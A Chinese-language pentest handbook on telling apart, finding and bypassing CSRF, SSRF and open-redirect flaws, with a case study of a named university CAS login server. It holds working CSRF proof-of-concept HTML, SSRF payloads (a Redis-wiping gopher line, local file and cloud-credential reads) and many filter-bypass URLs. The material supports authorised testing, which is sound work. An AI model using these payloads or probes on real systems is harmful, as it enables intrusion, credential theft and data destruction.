CSRF / SSRF / 开放重定向 —— 对比、发现与绕过手册

CSRF / SSRF / 开放重定向 —— 对比、发现与绕过手册

整理日期:2026-09-23
配套脚本:C:\Users\0xMouise\Desktop\桌面整理\urlparse-demo.mjs(WHATWG 解析 + 四种过滤器模型的实测矩阵)
结论标注纪律:已确认 / 待验证 / 已排除,三档严格区分,不把推断写成结论。


目录

  1. 本质区别:为什么三者不是一回事
  2. 常见混淆点
  3. 如何找:探测点、差分流程、证据要求
  4. 如何绕过
  5. 验证纪律与误报排除
  6. 定级参考
  7. 实战案例:CAS service 参数
  8. 附录

1. 本质区别

1.1 一句话判据(最好用的判别方法)

依次问三个问题,答案唯一确定漏洞类型:

问题 答案 类型
是服务端代替某个身份发起了网络请求吗? 是 SSRF
是浏览器被送到了攻击者控制的位置吗? 是 开放重定向
是浏览器带着受害者的凭据、对一个"状态改变"接口发起了请求吗? 是 CSRF

另一个极简判据(用于快速区分 CSRF 与开放重定向):

如果受害者浏览器完全不携带任何 Cookie,这个漏洞还存在吗?

  • 还存在 → 开放重定向
  • 消失了 → CSRF

1.2 对比总表

维度 CSRF SSRF 开放重定向
中文 跨站请求伪造 服务端请求伪造 开放重定向 / 任意跳转
谁发起请求 受害者浏览器 服务端 受害者浏览器
请求到哪 目标站自身接口 攻击者指定的任意地址 攻击者指定的任意地址
漏洞点 服务端无法区分请求来源,却执行了状态改变 服务端把用户输入拼进请求地址且不校验目标 服务端把用户输入放进跳转逻辑且不校验目标
受影响的是 你的身份被用来做了什么 服务端能访问到什么(内网/云元数据/本地文件) 浏览器下一步去哪
需要已登录 必须 不需要 不需要
需要浏览器自动带凭据 必须(Cookie/Session) 不需要 不需要
服务端状态改变 必须改变 不改变(读操作) 不改变
是否回显 看接口响应 分回显 / 半回显 / 盲 三档 看 Location 头或前端 JS
铁证形式 状态真的被改变 + 无 token + 无来源校验 OOB 回调记录(DNS/HTTP) 302 的 Location 解析后 host ≠ 目标域
典型危害 改密/绑邮箱/转账/加管理员 读云 AK/SK、打内网、读本地文件、RCE 链 钓鱼、OAuth/SSO 票据泄露、绕 CSRF 防护
典型定级 低危(登出)~ 高危(资金/账号) 中危 ~ 严重 低危 ~ 高危(接票据泄露)
修复 CSRF Token / SameSite / Origin-Referer 校验 / 关键操作二次验证 目标地址白名单 + 禁止跟随跳转 + 禁用多余协议 + 网络层隔离 跳转目标白名单 / 只允许相对路径 / 跳转前二次确认

1.3 数据流向图

CSRF
  攻击者页面  --诱导-->  受害者浏览器  --带 Cookie 的请求-->  目标站接口
                                                            ↑ 这里发生了"状态改变"

SSRF
  攻击者  --提交 URL 参数-->  目标站服务端  --服务端自己发请求-->  内网 / 云元数据 / 本地文件
                                                     ↑ 攻击者从不接触这条请求

开放重定向
  攻击者  --构造链接-->  受害者浏览器  --请求-->  目标站  --302 Location: 攻击者域-->  受害者浏览器
                                                                  ↑ 只是"指路",服务端自己不请求

2. 常见混淆点

混淆说法 为什么错
"开放重定向就是 CSRF" 判定标准、依赖条件、危害、修复全不同。开放重定向不需要登录态,不改变服务端状态
"有 Location 头就是 SSRF" 302 是让浏览器跳,服务端自己没发任何请求。除非服务端跟随了这个跳转(followRedirect=true),才可能变成 SSRF
"?url= 参数 = SSRF" 要看这个 URL 被用来"服务端请求"还是"浏览器跳转",同一个参数名两种实现都有
"没看到返回内容就是没有 SSRF" 盲 SSRF。必须用 OOB 回调才能判定
"无 token 就是 CSRF" 无 token 只是必要条件之一。还必须证明:浏览器会自动带凭据 + 服务端不校验来源 + 状态真的被改变
"开放重定向没用,不报" 开放重定向常是OAuth/SSO 票据泄露的入口,危害可到账户接管
"SSRF 和开放重定向都是跳转,一回事" 差异在谁发起请求:浏览器发起 = 只能打受害者本机/受害者在的网络;服务端发起 = 能打服务器内网

2.1 三者唯一正确的"关联"表述

开放重定向可用于绕过 CSRF 的 Referer/Origin 校验 ——
让受害者先访问目标站自己的重定向接口,最终请求的 Referer 就变成同源,从而过掉白名单。

正确说法是「A 可用于绕过 B 的防护」,而不是「A 就是 B」。


3. 如何找

3.1 CSRF

第一步:列出"状态改变动作"清单

类别 具体功能
账号 改密码、改邮箱/手机、解绑、注销账号、二次验证开关
权限 加管理员、改角色、加 IP 白名单、建 API Key、授权第三方应用
数据 删除资源、改配置、导入/导出、批量操作
资金 转账、下单、退款、提现、改收款账户
社交 关注/取关、发帖、点赞、发消息
登出 GET /logout(低危但最容易确认)

注意:GET 也可以改变状态(删除、登出),不要只盯 POST。

第二步:三必要条件逐一做对照实验

条件 实验 判定
① 依赖浏览器自动携带的凭据 删掉 Cookie 头发同一请求 失败 → 依赖 Cookie ✓(Session 型);仍成功 → 可能用 Header token,天然免疫
② 无可预测、且服务端强制校验的 token 三种对照:(a) 删掉 token 参数;(b) 改成随机值;(c) 用另一个会话的 token 复用 三者任一成功 → 防护失效
③ 服务端不区分请求来源 带 Origin: https://evil.example.com 和 Referer: https://evil.example.com/x 重发 仍成功 → 无来源校验 ✓

三条全部成立才是 CSRF。 缺任一条即不成立。

第三步:注意容易被忽略的实现细节

实现 缺陷
Token 只校验"存在",不校验"值" 随便填个非空值就过
Token 与会话不绑定 攻击者用自己的 token 打受害者
Double-submit cookie(token 同时放 Cookie 和参数,只比较两者是否相等) 攻击者能往受害者域写 Cookie 时(子域接管、Cookie tossing)即可绕过
Token 放在 URL query 里 可通过图片/跳转泄露,也可能被日志记录
校验 Referer 用子串包含 https://target.com.evil.com/ 就能过
SameSite=Lax 顶层 GET 导航仍带 Cookie → 只挡 POST,GET 型动作仍可用
Chrome 的 Lax+POST 2 分钟窗口 新建的、未显式设 SameSite 的 Cookie,在 2 分钟内的顶层 POST 请求仍会携带
只校验 Origin 不校验 Referer Origin 只在跨站请求里发送,同站请求没有 Origin → 某些实现会因缺失而放行
JSON 接口只做 Content-Type: application/json 检查 用 text/plain 发 JSON 体,很多框架照常解析 → JSON CSRF
方法可用 _method / X-HTTP-Method-Override 覆盖 绕过只对 POST 做校验的实现

第四步:构造 PoC

<!-- 表单型 -->
<form id="f" action="https://target/api/changeEmail" method="POST">
  <input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('f').submit()</script>

<!-- GET 型(登出、删除) -->
<img src="https://target/logout">

<!-- JSON CSRF -->
<script>
fetch('https://target/api/x', {
  method:'POST', mode:'no-cors',
  headers:{'Content-Type':'text/plain'},
  body:'{"email":"attacker@evil.com"}'
})
</script>

3.2 SSRF

第一步:找"服务端代发请求"的功能点

类别 功能点
内容抓取 URL 预览/分享卡片、RSS 抓取、Markdown 远程图片渲染、文章导入
文件 从 URL 导入文件/图片、远程头像、Office 文档预览、PDF/截图生成、转码
集成 Webhook 回调地址、SSO 元数据导入、OAuth JWKS/jwks_uri、第三方登录配置
解析 XML 外部实体(XXE→SSRF)、YAML/模板渲染、xsl 导入
基础设施 反向代理、API 网关、图片 CDN 回源、健康检查地址、日志推送
其他 邮件转发、爬虫管理、短链展开、url= / uri= / target= / src= / path= 参数

第二步:判断回显档位

档位 表现 验证手段
回显 直接把目标内容返回给你 直接读云元数据
半回显 只返回状态码/响应长度/错误信息/耗时 时间差 + 状态码差异做端口扫描
盲 什么都不回 只能靠 OOB 回调

第三步:铁证 = OOB 回调

给自己的域名起唯一子域名做标记:

http://<随机串>.your-collab-domain/

只有在你的 DNS/HTTP 日志里看到这条唯一记录,才算"服务端出网已确认"。

用 http://www.baidu.com 之类的公共站点做探针证明不了任何事 —— 你看不到它的日志。

第四步:内网与协议面

http://127.0.0.1:6379/          # Redis
http://127.0.0.1:8080/
dict://127.0.0.1:6379/info
dict://127.0.0.1:11211/stats    # Memcached
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall
file:///etc/passwd
file:///var/run/secrets/kubernetes.io/serviceaccount/token

云元数据对照表(这才是能定级的目标):

云 地址
AWS http://169.254.169.254/latest/meta-data/iam/security-credentials/
阿里云 http://100.100.100.200/latest/meta-data/
腾讯云 http://metadata.tencentyun.com/latest/meta-data/
GCP http://metadata.google.internal/computeMetadata/v1/(需 Metadata-Flavor: Google)
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01(需 Metadata: true)
K8s file:///var/run/secrets/kubernetes.io/serviceaccount/token

AWS IMDSv2 需要先 PUT /latest/api/token 拿 token,纯 GET 会返回 401 → 看到 401 说明是 IMDSv2 已启用(防护到位),不要误报。


3.3 开放重定向

第一步:参数名清单(按命中率排序)

url  uri  link  redirect  redirect_uri  redirectUrl  redirect_url
return  returnUrl  return_url  returnTo  next  continue  continueUrl
to  target  dest  destination  goto  goto_url  jump  out  view
callback  callbackUrl  forward  forwardUrl  r  u  ref  referer
service  successUrl  failUrl  cancelUrl  backUrl  logout?service=
imageURL  file  path  open  linkurl  returnurl  from  fromurl

第二步:判断三种形态

形态 观测点
服务端 302 响应头 Location:
前端 JS 跳转 页面里 location.href = 参数 / location.replace() / window.open()
meta refresh <meta http-equiv="refresh" content="0;url=...">

第三步:判定"是不是漏洞"(关键,容易误报)

情况 结论
跳转到任意外部域 ✅ 成立
只允许相对路径(/x),拒绝 //evil.com ❌ 安全实现
只允许同域 ❌ 安全实现
跳到白名单内的域 ❌ 非漏洞
只是把参数回显在页面上、不跳转 ❌ 不是重定向
参数里给 //evil.com 但被拒、给 http://evil.com 也拒 ❌ 有校验,转绕过阶段

第四步:落点必须用解析器验证

new URL("<服务端返回的 Location 值>").host

报告里贴这个结果,不贴原始字符串。 字符串看着像什么不重要,host 是什么才重要。


3.4 差分探测通用流程(三者通用)

不知道过滤器长什么样就背 payload = 碰运气。按顺序打,每步只改一个变量:

# 探针 判读
1 纯外部域 http://evil.example.com/ 通过 = 无 host 校验 → 不用绕;不通过 = 继续
2 https://evil.example.com/ 区分 scheme 白名单
3 //evil.example.com/ 区分"必须含完整 scheme"还是"只需形似 URL"
4 http://<目标域>@evil.example.com/ 跳 evil = "包含目标域"型弱校验(最好绕)
5 http://evil.example.com.<目标域>/ 与 http://<目标域>.evil.example.com/ 区分后缀匹配 / 前缀匹配 / 包含匹配
6 http://<目标域>#@evil.example.com 区分过滤器的解析器与浏览器解析器是否一致
7 http://<目标域>%2f@evil.example.com/ 区分是否"先解码再比较"

第 4/5/6 步任一跳得过去,就已经绕过了,不需要继续往下。


4. 如何绕过

4.1 CSRF 防护绕过

防护措施 绕过思路
无 token(或 token 未校验) 直接构造 PoC
token 可预测(时间戳/MD5(时间)/递增) 分析生成算法,本地复现
token 与会话不绑定 拿自己的合法 token 打受害者("token 不自洽")
只校验"非空" 填任意值
SameSite=Lax 只用 GET 型动作;或诱导顶层导航(点链接 / location=)
Lax+POST 2 分钟窗口 若目标 Cookie 是新建且未显式设 SameSite,2 分钟内的顶层 POST 仍携带
Referer 校验(子串包含) 在自己域名里嵌入目标域名:https://target.com.evil.example/
Referer 校验(严格) ① 从 HTTPS 跳到 HTTP 目标(浏览器不发 Referer)② <meta name="referrer" content="never"> ③ Referrer-Policy: no-referrer ④ 用目标站自己的开放重定向做跳板,让最终 Referer 变同源
只校验 Origin 无法直接绕,需配合子域 XSS 或子域接管
Double-submit cookie 子域写 Cookie(Cookie tossing)/ 子域接管
Content-Type: application/json 校验 text/plain + 朴素 JSON 体(多数框架照常解析)
只校验 POST 试 _method=POST、X-HTTP-Method-Override: POST
表单 endpoint 要求 multipart 跨站构造 multipart/form-data

⚠️ 报告纪律:不要写"无 token = CSRF"。必须同时证明
① 浏览器会带凭据 ② 服务端不校验来源 ③ 状态真的被改变。
尤其"状态真的被改变"这一步,很多人漏做 —— 只看返回 200 就下结论,但那可能是无条件返回的模板。


4.2 SSRF 过滤绕过

A. IP 表示法变形(针对内网 IP 黑名单)

127.0.0.1        →  0177.0.0.1     (八进制)
                 →  2130706433      (十进制)
                 →  0x7f000001      (十六进制)
                 →  127.1           (省略写法)
                 →  0.0.0.0 / 0     (未指定地址,多数系统解析到本机)
                 →  [::1] / [0:0:0:0:0:ffff:127.0.0.1] / [::ffff:7f00:1]
                 →  localhost / localhost.localdomain / locallocalhost
                 →  127.0.0.1.nip.io / 127.0.0.1.sslip.io  ← DNS 解析回环,专治"必须是合法域名"
                 →  127.0.0.1:80 / 127.0.0.1:0

B. DNS 手段

手法 说明
自有域名 A 记录指向内网 IP 绕过"只拦 IP 字面量"的过滤器
nip.io / sslip.io 动态解析服务,<ip>.nip.io 直接指向该 IP
DNS 重绑定(DNS Rebinding) 第一次解析返回合法公网 IP(过校验),第二次解析返回 127.0.0.1(实际请求)。TOCTOU 类缺陷的克星

C. 302 跳转绕过(最通用)

绕过所有"只在入口校验一次"的实现:

受害者服务端 -> GET http://your-server/redirect  (校验时看到合法域名,放行)
your-server  -> 302 Location: http://169.254.169.254/latest/meta-data/
受害者服务端 -> GET http://169.254.169.254/...   ← 若客户端跟随跳转,校验被彻底绕过

注意:此招只在目标 HTTP 客户端跟随重定向时有效。能否生效本身就是需要验证的点。
除了自建服务器,也可以借目标站自己已有的开放重定向做跳板。

D. URL 解析器混淆

原理与开放重定向相同,但攻击的是服务端解析器(Java URI.getHost() / Python urlparse / Go net/url),
规则与浏览器的 WHATWG 不一致,成功率可能完全相反。详见 4.3。

http://allowed.com@127.0.0.1/
http://127.0.0.1#allowed.com
http://allowed.com\.127.0.0.1/
http://127.0.0.1%2f@allowed.com/
http://allowed.com:80@127.0.0.1/
http://allowed.com.evil.com/
http://evilallowed.com/

E. 编码与字符

单重编码   %31%32%37...
双重编码   %2531%2532%2537...       (后端解码两次时有效)
点号       %2e / 全角 。 
空白       插入 Tab、换行、空格打断关键字
NUL        %00 截断(仅老 C 系实现)
协议大小写 HtTp:// / HTTP://
反斜杠     http:\\127.0.0.1\

F. 协议切换

http 被禁 → 试 https / ftp / dict / gopher / ldap / jar / netdoc / file
gopher → 打内网 Redis / MySQL / FastCGI(可拼原始字节流)
file   → 读本地文件(可能升级为 RCE,如读 SSH key、K8s token)

G. 参数层绕过

?url=http://ok&url=http://127.0.0.1/        # HPP,过滤器取第一个,业务取最后一个
?url[]=http://127.0.0.1/                    # 数组化
{"url":"http://ok","url":"http://127.0.0.1"} # JSON 重复 key
?next=http://ok&redirect_uri=http://127.0.0.1 # 换参数名,过滤器只查了其中一个
?url=http://ok%26url=http://127.0.0.1        # 二次解析

参数污染常常比字符绕过有效得多,优先试。


4.3 开放重定向过滤绕过

总纲:只有三条根源

所有绕过都是"过滤器的理解方式"与"浏览器(WHATWG)的理解方式"之间的差异**被武器化:

根源 过滤器 浏览器(WHATWG)
解析模型 把字面的 @ \ # ? %2f %09 当字符串内容 按 scheme://userinfo@host:port/path?query#fragment 语义切分
比较语义 contains / startsWith / 无尾锚正则(纯文本) DNS 标签层次,看最右几段决定域名归属
编码与大小写时序 大小写敏感、看编码态 scheme 大小写不敏感;字面 Tab/CR/LF 解析前剥离

实测矩阵(Node v24 WHATWG 解析器,与 Chrome/Firefox 同规范)

目标域 T = nto.fjnu.cn,攻击者域 evil.com。

PAYLOAD                                   | 浏览器真实 host                    | F1 | F2 | F3 | F4
http://T@evil.com/                        | evil.com                          |放过|放过|放过|拦下
http://T%2f@evil.com/                     | evil.com                          |放过|放过|放过|拦下
http://T%09@evil.com/                     | evil.com                          |放过|放过|放过|拦下
http://T%40evil.com/                      | <SyntaxError>   ← 废 payload      |放过|放过|放过|拦下
http://evil.com#http://T/                 | evil.com                          |放过|拦下|拦下|拦下
http://evil.com?http://T/                 | evil.com                          |放过|拦下|拦下|拦下
http://T.evil.com/                        | T.evil.com                        |放过|放过|放过|拦下
http://evilT.com/                         | evilT.com                         |放过|放过|拦下|拦下
http://evil.com.T.attacker.com/           | evil.com.T.attacker.com           |放过|放过|拦下|拦下
http://evil.com\.T/                       | evil.com                          |放过|放过|拦下|拦下
http://evil.com\@T/                       | evil.com                          |放过|放过|拦下|拦下
http://T\@evil.com/                       | T            ← 方向反了,废物   |放过|放过|放过|放过
HtTp://T@evil.com/                        | evil.com                          |放过|拦下|拦下|拦下
http://T<字面TAB>@evil.com/               | evil.com                          |放过|放过|放过|拦下
http:/<字面TAB>/evil.com/                 | evil.com                          |拦下|拦下|拦下|拦下
http://evil.com:80@T/                     | T            ← 反向,无用         |放过|放过|拦下|放过
  • F1 = 纯字符串 contains(T)
  • F2 = 正则抠出 authority 再 contains(T)
  • F3 = 前缀正则 ^https?://T(大小写敏感、无尾部锚定)
  • F4 = 正确解析后比较 host

逐条原理

原理 1|authority 里只认"最后一个 @"

http://T@evil.com/   → host = evil.com

URL 语法用最后一个 @ 切分权威部分,左边整段是 userinfo(用户名[:密码])。
T 在这里不是域名,是"用户名"。命中 F1/F2/F3。

原理 2|userinfo 里可以塞编码的 / 和 Tab

http://T%2f@evil.com/   → host = evil.com
http://T%09@evil.com/   → host = evil.com

%2F 解码后虽是 /,但在 userinfo 内部百分号编码的保留字符不恢复为分隔符,只是"用户名里的一个斜杠"。Tab 同理。
专门打"用 /[^\/]+@/ 抠 userinfo"的实现 —— 字面 / 会让它提前收尾,%2f 不会。

⚠️ %09 起作用的原因不是"浏览器剥离 Tab"(%09 是编码态,不剥离),而是"它在 userinfo 里"。真正被剥离的是字面 Tab(原理 6)。两者不能混。

原理 3|# 和 ? 之后的内容参与字符串、但不参与 host

http://evil.com#http://T/   → host = evil.com      (fragment 根本不发给服务器)
http://evil.com?http://T/   → host = evil.com      (query 会发,但不参与 host 解析)

唯一"字符串里有、语义上不存在"的位置。只对 F1(纯 contains)有效,F2 就失效。
# 版本还能顺手绕过"后端只看自己拼接的参数"的校验。

原理 4|文本匹配不懂 DNS 标签层次

payload 可注册域(真正拥有者) 目标域拥有者控制权
T.evil.com evil.com(攻击者) 零 —— T 只是攻击者自己起的前缀
evilT.com 第三方 零
evil.com.T.attacker.com attacker.com(攻击者) 零

contains / startsWith / 无尾锚正则全部只看字符串左半边;DNS 解析看最右几段。
从左看 vs 从右看 —— 这就是偏差。所以要先确定过滤器是从左还是从右看,再选 payload(差分探测第 5 步)。

原理 5|special scheme 里 \ ≡ /

http://evil.com\.T/   → host = evil.com      (等价于  http://evil.com/T/ )
http://evil.com\@T/   → host = evil.com      (等价于  http://evil.com/@T/ )

WHATWG 规定 http/https/ws/wss/ftp/file 这些 special scheme 解析前把 \ 规范化成 /。
过滤器不归一化,以为 host 是 evil.com.T。
第二种摆法专打"按 @ 切分取 host"的实现 —— 那类实现以为 host 是 T(安全),实际是 evil.com。

⚠️ 方向很重要:http://T\@evil.com/ 实测 host = T,浏览器停在目标域、不产生跳转,是废 payload。必须让攻击者域在前。

原理 6|字面 Tab / CR / LF 解析前被全局删除

http://T<字面TAB>@evil.com/   → Tab 被删 → http://T@evil.com/ → host = evil.com
http:/<字面TAB>/evil.com/     → Tab 被删 → http://evil.com/   → host = evil.com

第二条性质不同:它绕的不是白名单,而是黑名单 —— 字面串里根本没有 // 这段关键字(被 Tab 切成 http:/ + /),所以"过滤 ///http://"的正则匹配不到,浏览器剥离 Tab 后得到完整的 http://。
即 "切断关键字" 的标准手法。

同类手法:hthttp://tp://evil.com/ 专治一次性 str_replace('http://','') —— 删掉中间的 http:// 后剩下正好又拼成 http://。

原理 7|scheme 大小写不敏感

HtTp://T@evil.com/   → host = evil.com

RFC 3986 §3.1:scheme 大小写不敏感,浏览器统一按 http 处理。
最狠的版本不是"骗过白名单",而是掉进 else 分支:

if (preg_match('/^http:\/\/.../', $url)) { /* 校验白名单 */ }
else { header("Location: $url"); }   // ← 大小写不匹配 → 判定"不是 URL" → 直接放行

最重要结论

矩阵里 F4 那一列全是"拦下",没有例外。

一旦实现是"用同一套规范的解析器取出 host,再与白名单精确比较"(做大小写归一、IDNA/punycode、尾点处理、special-scheme 归一),
上面所有 payload 全部无效,一个都不例外。

绕过的可用性完全取决于过滤器和浏览器在"解析模型 / 比较语义 / 编码时序"上到底有没有偏差 ——
差异存在才有 payload;差异不存在就是没有。

验证纪律

new URL("http://evil.com\\.nto.fjnu.cn/").host   // "evil.com"

报告里贴解析器的结果,不贴原始字符串。

什么时候该止损

如果差分探测第 1/4/5 步全部不通过,说明过滤器是"白名单精确匹配 host + 与浏览器同源的解析器" —— 基本没有解析差异可利用。转去别的路径:

  • 同一站内是否还有其它跳转点(登录后跳转、OAuth redirect_uri、支付回跳、CSP report-uri、短链、/link?to=)—— 一个站往往有多个实现,其中一个没做校验
  • 是否有其它参数名承载跳转
  • 转向本目标已确认的路径(如白名单过宽 → 票据泄露链),价值比硬绕过滤高一个量级

5. 验证纪律与误报排除

5.1 三档标注法

每条结论必须落在且只落在三档之一:

档位 含义 报告写法
已确认 有可复现的原始证据(请求 + 响应) 直接给 PoC
待验证 有机制迹象,但缺关键对照实验 明确写出缺哪一环
已排除 做过对照,不成立 也写进报告(体现测试覆盖面,避免被质疑漏测)

禁止把"待验证"写成"已确认"。

5.2 各漏洞的最低证据要求

漏洞 最低证据
开放重定向 302 + Location 解析后 host ≠ 目标域,且攻击者域是自己可控的(不能用 example.com)
SSRF OOB 回调日志中出现唯一标记子域的记录;内网探测需时间差 × 至少 2 次复测 + 状态码差异
CSRF ① 已登录会话 ② 浏览器自动带凭据 ③ 状态真的被改变(登出后确实需要重新登录 / 数据确实变了)④ 无 token 或 token 未校验 ⑤ 无 Origin/Referer 校验
登出 CSRF 特别注意:匿名会话也常返回"注销成功"页面 → 页面文本不是证据,必须验证"登出后原会话确实失效"

5.3 常见误报清单

误报 纠正
只看返回 200 就判状态改变 很多页面是无条件返回的模板。必须验证状态真的变了
用公共站点(baidu.com)测 SSRF 看不到对方日志,证明不了任何事。必须用自有回调域
单次超时就判内网端口开放 网络抖动。至少 2 次 + 与基线对比
把 403 直接当"有防护" 要区分:SSO 网关拦截 / IP 白名单 / WAF / 后端真过滤 —— 看响应头(Server、WWW-Authenticate、Set-Cookie)和响应体差异
看到 Access-Control-* 头就说 CORS 漏洞 只看 Access-Control-Allow-Origin 是否回显。有 Allow-Headers/Allow-Methods 但没有 ACAO = 不成立
跳转到白名单内的域当漏洞报 非漏洞
只回显参数不跳转当开放重定向 不是重定向
"URL 里有 http:// 就是 SSRF" 看是服务端请求还是浏览器跳转
用 Location 头里有 http:// 当 SSRF 服务端没发请求。除非它跟随了跳转

6. 定级参考

漏洞 场景 参考等级
开放重定向 单纯任意跳转 低危 ~ 中危
开放重定向 可致 OAuth/SSO 票据泄露 → 账户接管 高危 ~ 严重
CSRF 登出 / 无关紧要的偏好设置 低危
CSRF 改密码 / 绑邮箱手机 / 加管理员 / 授权应用 高危
CSRF 转账 / 下单 / 改收款账户 高危 ~ 严重
SSRF 仅能探测内网端口(盲) 中危
SSRF 可读内网 HTTP 服务内容 中危 ~ 高危
SSRF 读云元数据 AK/SK → 接管云账号 高危 ~ 严重
SSRF file:// 读敏感文件 / gopher:// 打内网服务 → RCE 严重

组合链的分级原则

单个"中危"组件接成链后可升级。例如:

开放重定向(中危)
  + 跳转时携带 SSO 票据(如 CAS 的 ST)
  + 攻击者可用该票据换取用户身份
  = 账户接管(高危)

报告时按"最终危害"写,并在标题里体现链路,不要只报组件。


7. 实战案例:CAS service 参数

目标:某高校 CAS 服务(Jasig CAS 3.x/4.x 二开)
本节保留完整证据链,作为"三者如何区分"的示范。

7.1 测试入口

GET /cas/login?service=http://www.baidu.com@127.0.0.1/ HTTP/1.1
Host: nto.fjnu.cn
User-Agent: Mozilla/5.0 ...

7.2 先纠正三个前提

初始判断 实际情况
"用 baidu 测不出 → 有过滤" 不是过滤,是没有登录态。CAS 发现无已认证会话 → 返回登录表单而非 302
"@127.0.0.1 是绕过技巧" 此目标白名单根本不看 host,无需绕过。该 payload 只是被"接受"
"service 参数能测 SSRF" 协议层不可能。CAS 服务端只发 302,自己从不请求 service 指向的地址

7.3 白名单特征实测

service 值 响应 结论
http://example.com/ ACCEPTED(进登录页) —
http://127.0.0.1/ ACCEPTED 无内网黑名单
http://169.254.169.254/latest/meta-data/ ACCEPTED 无元数据黑名单
http:// (空 host) ACCEPTED 连结构都不校验
http://a ACCEPTED 无 host 校验
https://example.com/ REJECTED「不允许使用CAS来认证您访问的目标应用」 scheme 受限
https://nto.fjnu.cn/ REJECTED 连自己域的 https 都拒
//example.com/ REJECTED 必须有完整 http:// 前缀
httpx://example.com/ REJECTED 同上
http://evil.com/(前导空格) 回退到默认 service 校验行首锚定

结论:白名单 = 单一锚定前缀判断 ^http://,之后完全透传。
没有 host 判断、没有字符类白名单、没有关键字黑名单。
⇒ 在此目标上做"关键字绕过"是无效动作;有些技巧(前导空格、反斜杠)反而会导致校验失败。

7.4 开放重定向(已确认)

GET /cas/login?service=http%3A%2F%2Fexample.com%2F&gateway=true HTTP/1.1
Host: nto.fjnu.cn
HTTP/1.1 302
Location: http://example.com/

同法验证:

service 响应
http://127.0.0.1/ 302 Location: http://127.0.0.1/
http://169.254.169.254/latest/meta-data/ 302 Location: http://169.254.169.254/latest/meta-data/

关键点:gateway=true 是免登录验证开放重定向的开关 —— CAS 在 gateway 模式下直接回跳、不渲染登录页,因此未认证即可确认重定向行为。

7.5 为什么这里不是 SSRF

service=http://127.0.0.1/  →  302 Location: http://127.0.0.1/
  • 302 是给浏览器的指令。发起请求的是受害者浏览器,到达的是受害者本机/所在网络的 127.0.0.1。
  • CAS 服务端自己没有访问 127.0.0.1。
  • ⇒ 这是客户端侧 SSRF / CSRF-to-localhost,打不到 CAS 服务器的内网。

CAS 里真正的服务端 SSRF 点在 pgtUrl(PGT 回传):

GET /cas/serviceValidate?service=http%3A%2F%2F<你的域名>%2F&ticket=<有效ST>&pgtUrl=https%3A%2F%2F<你的域名>%2Fcb HTTP/1.1
Host: nto.fjnu.cn

CAS 会在服务端主动请求 pgtUrl 投递 pgtId/pgtIou。
判读:自有服务器收到来自 CAS 服务器 IP 的请求 → 服务端 SSRF 铁证。
前提:service 已注册且 allowedToProxy=true,pgtUrl 默认要求 https。

7.6 CSRF 部分(待验证,非结论)

已观测:

GET /cas/logout HTTP/1.1
Host: nto.fjnu.cn
HTTP/1.1 200
Set-Cookie: CASTGC=; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/cas/
Set-Cookie: CASPRIVACY=; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/cas/
Set-Cookie: JSESSIONID=...; Path=/cas; HttpOnly
  • 带 Referer: https://evil.example.com/x 重发 → 响应逐字节一致 ⇒ 不校验 Referer/Origin
  • URL 无任何 token 参数
  • 实测 /cas/login 只下发 JSESSIONID,没有 CASTGC ⇒ 此前测试全程是匿名态

已确认:服务端无条件下发销毁 CASTGC(CAS SSO 票据)的 Set-Cookie,且为 GET、无 token、无来源校验 —— CSRF 机制成立。

待验证(缺的一环):

  • CASTGC 在登录成功后下发时的 SameSite 属性(未见过真实 CASTGC,无法验证)
    • 若 Lax/Strict → 跨站 <img> 不携带 Cookie,只能靠顶层导航(诱导点击)触发
    • 若无 SameSite → <img src="https://nto.fjnu.cn/cas/logout"> 即可
  • 匿名会话也返回"注销成功"页面 ⇒ 该页面文本不是证据;必须验证"登出后原会话确实失效"

正确的验证三步:

  1. 浏览器登录 CAS → DevTools 确认出现 CASTGC,记下其 SameSite
  2. 同会话 GET /cas/logout → 立刻访问依赖 CAS 的应用 → 被要求重新登录 = 会话确实被销毁(这一步才是"状态改变"的证据)
  3. 跨站对照:从另一个域打开 <a href="https://nto.fjnu.cn/cas/logout"> → 仍能登出 = CSRF 成立

登录 CSRF(应判"已排除",需补对照):
登录页含

<input type="hidden" name="lt" value="LT-...-nto.fjnu.cn"/>
<input type="hidden" name="execution" value="e1s1"/>
<input type="hidden" name="_eventId" value="submit"/>

lt + execution(Spring Webflow flow token)存在 ⇒ 强防护迹象。
但"字段存在 ≠ 服务端强制校验"。需补一条对照:POST 时故意不带 execution →
返回 Webflow 错误 = 防护生效(已排除);返回"用户名或密码错误" = 需重估。

7.7 其他观测

项 结果 说明
/cas/v1/tickets 405, Allow: POST CAS REST API 开启(独立攻击面:凭据爆破 / TGT 换 ST)
/cas/status 403 可能被 nginx 限制或 CAS 自身 IP 白名单
CORS 有 Allow-Headers/Allow-Methods,但带恶意 Origin 无 Access-Control-Allow-Origin CORS 不成立,已排除("看到 CORS 头 ≠ 漏洞"的正例)
CRLF 注入 service=http://evil.com/%0d%0aX-Injected:1 → Location 单行,CRLF 被归一化为空格 无响应拆分,已排除
NUL 截断 %00 → 被归一化为空格 已排除

7.8 本案例对应的报告口径

发现 档位 建议等级
service 白名单仅校验 scheme(^http://)+ 开放重定向 已确认 中危
开放重定向 → 跳转携带 ST → 账户接管 待验证(需自有域名 + 已登录会话) 高危
GET /cas/logout 销毁 CASTGC,无 token、不校验来源 机制已确认,利用待验证(缺 SameSite) 低危
登录 CSRF 待验证(有 Webflow token 防护迹象) —
CRLF 注入 / NUL 截断 / CORS 已排除 —
/cas/v1/tickets REST API 暴露 已确认存在 信息级(视方可否爆破而调级)

⚠️ 不要把开放重定向写成 CSRF,也不要把 service=127.0.0.1 写成 SSRF —— 评审第一轮就会打回。


8. 附录

8.1 解析器差异速查

输入 浏览器 new URL().host Python .netloc Python .hostname
http://T@evil.com/ evil.com T@evil.com evil.com
http://T%2f@evil.com/ evil.com T%2f@evil.com evil.com
http://evil.com#http://T/ evil.com evil.com evil.com
http://evil.com\.T/ evil.com evil.com\.T(不归一化) 同左
http://T%09@evil.com/ evil.com T%09@evil.com evil.com
http://T\@evil.com/ T T\@evil.com evil.com ← 与浏览器相反
http://evil.com:80@T/ T evil.com:80@T T

要点:

  • 浏览器把 \ 当 /(special scheme);Python urlparse 不归一化。
  • Python 的 .netloc 含 userinfo,.hostname 才是 host —— 用错属性就是漏洞(用 netloc 做白名单判断 = F2 型缺陷)。
